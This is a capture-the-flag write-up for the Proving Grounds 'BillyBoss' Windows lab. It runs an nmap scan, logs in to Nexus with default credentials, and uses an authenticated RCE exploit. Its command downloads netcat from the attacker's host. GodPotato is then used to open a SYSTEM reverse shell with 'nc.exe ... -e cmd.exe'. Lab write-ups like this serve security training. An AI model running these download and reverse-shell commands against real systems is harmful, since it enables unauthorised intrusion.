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Powered by GitBook
On this page
  • Gaining Access
  • Default Creds -> Nexus RCE
  • Privilege Escalation
  • SeImpersonatePrivilege -> Admin Shell
  1. Writeups
  2. Proving Grounds Practice
  3. Windows

BillyBoss

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 192.168.175.61 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 20:35 +08
Nmap scan report for 192.168.175.61
Host is up (0.17s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5040/tcp  open  unknown
7680/tcp  open  pando-pub
8081/tcp  open  blackice-icecap
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

To avoid making this long:

  • FTP was not interesting because anonymous access isn't allowed and guessing credentials is pointless.

  • Port 80 had some application that wasn't working properly.

  • SMB did not accept null credentials and had nothing there.

  • The rest of the ports were pretty useless.

Default Creds -> Nexus RCE

Port 8081 had a Nexus Repository Manager that was running:

To exploit this, we first need to guess the credentials to login. nexus:nexus works for this one. Then, we need to grab the correct exploit:

$ searchsploit sonatype     
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticat | java/webapps/49385.py
----------------------------------------------------------- ---------------------------------

Edit the exploit accordingly:

URL='http://192.168.175.61:8081'
CMD='cmd.exe /c powershell -c wget 192.168.45.164/nc64.exe -Outfile C:/Windows/Tasks/nc.exe'
USERNAME='nexus'
PASSWORD='nexus'

Then, we can

Then, we can execute the script once to download nc.exe onto the machine, and another to execute nc.exe to get a reverse shell:

Privilege Escalation

SeImpersonatePrivilege -> Admin Shell

The user has SeImpersonatePrivilege enabled:

C:\Windows\Tasks>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

However, PrintSpoofer.exe wasn't working normally, so we probably need to use another method. Instead, we can use GodPotato.exe to do this:

.\potato.exe -cmd "C:\Windows\Tasks\nc.exe 192.168.45.164 4444 -e cmd.exe"

For some reason, this user was unable to run whoami, so I just captured the flag instead:

PreviousAuthByNextButch

Last updated 1 year ago

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